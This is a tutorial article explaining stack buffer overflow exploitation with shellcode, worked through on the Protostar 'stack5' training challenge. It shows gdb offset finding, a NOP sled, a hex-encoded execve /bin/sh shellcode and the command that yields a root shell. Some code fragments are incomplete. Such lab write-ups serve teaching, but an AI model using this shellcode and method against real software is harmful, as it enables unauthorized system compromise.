In our previous article we have seen how to change variables or either execute functions which should not be done through a stack buffer overflow including few others things. But imagine the case where there is none of this! How we can successfully execute what we want?
Well, the solution is simple! We will use Shellcodes. In hacking, a Shellcode is a small piece of code used as the payload in the exploitation of a vulnerability. It is called "Shellcode" because it typically starts a command shell from which the attacker can control the compromised machine.
HOW TO EXECUTE OUR SHELLCODE?
You remember by rewriting
saved rip, we could redirect our execution flow anywhere in the memory. If we want to use a Shellcode, the principle is the same except we will redirect the flow to our Shellcode to be able to execute it. The main question is where to put our Shellcode? Well if you remember what we have seen previously, the Shellcode can be put on the stack or in an environment variable.
Placing a Shellcode in the buffer
[[shellcode][padding]][saved ebp][saved eip -> the address to our shellcode]
Placing a Shellcode behind eip
[buffer (padding)][saved ebp][saved eip -> the address of the nop][nop * large number][shellcode]
nop? Do you remember our first article. If you already forgot, I kindly suggest you have a look at what we already have seen during our first approach. To cut short, "nop = No Operation", which concretely means to don't do anything and simply move to the next instruction.
How useful is this, you would say? This allows us to have the addresses that go right to the following instructions and finally to the Shellcode, so we no longer have to take the precise address of our Shellcode but just an address in our
EXAMPLE OF EXPLOITATION
It's now the time to move on the concrete aspect of the exploitation and to do this we will use the challenge "stack5" from the Exploit-Education website which contains several exercises regarding binary exploitation. Here is the code that we will use:
int main(int argc, char **argv)
How and where to Get Started?
In the above source code, we can see a buffer of 64-bytes is created and the function
gets() is called. What we must do is overflow the buffer by rewriting the return address pointing to our Shellcode. Suppose we do not have the source code, we are going to disassemble
gdb. This will allow us among other things to find the address of the buffer where our Shellcode will be placed.
gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Now we are going to put a breakpoint into the
main() function to stop the execution of the program and examine what is on the stack.
(gdb) b * 0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
i r for "info registers" we can get a complete overview and analyze the registers. So let's run it and check what we get.
eax value must contain the string that we have entered "ABCDEF" and therefore the beginning of the buffer is
(gdb) x/s 0xbffffc70
Since the stack
esp register points to
0xbffffcbc then we can calculate the length of our padding using the following command:
(gdb) p/d 0xbffffcbc - 0xbffffc70
$1 = 76
We can determinate that our filler length is equal to 76 and since we got it, we can overwrite the return address. In order to do it, open a new terminal and execute the following python command in order to get the complete string:
python -c "print 'A' * 76 + 'B' * 4"
Copy the complete string in your clipboard and back the terminal where your instance of
gdb is running and past the string after executing the
r command as per the following:
Starting program: /opt/protostar/bin/stack5
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
Once you are done, simply execute the following command to check if the value of your stack
esp register has been updated:
(gdb) x/s 0xbffffcbc
As you can see the content of
0xbffffcbc is now "BBBB", so we can already handle the return address. The return address should be "0xbffffcbc + 4" which is equal to
0xbffffcc0. If you want to be sure that address is already present in the stack simply execute the following command in the terminal that running your
(gdb) x/60wx $eax
Now we are going to create an exploit to verify that we will be able to execute arbitrary code, for this we will use the
Interrupt 3 instruction in order to stop the execution of the program and create a breakpoint.
cat >> /tmp/exploit.py << EOL
nops="\x90"*20 # NOPs
python /tmp/exploit.py > /tmp/file
./stack5 < /tmp/file
We see that it works, now we are going to try to execute a shell
/bin/sh as root. We can generate the Shellcode using msfvenom or search for one that works in our situation on Shell Storm website. To make it easier for you, I already selected a Shellcode that you can use in this situation and which can be found here. So considering all of this our final payload will be:
shellcode = ""
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
The final step will be to save the above piece of code in a file that I will personally name "exploit.py" and execute it using the below command:
(python /tmp/exploit.py;cat) | ./stack5
We can now execute commands as root on the system. As I said before, these challenges are an introduction, nowadays binaries have protection, such as NX for Linux or DEP for Windows, which makes some memory areas (usually the stack) not executable. However, understand theses principles is a good start if you want to involve deeper into the Buffer Overflow.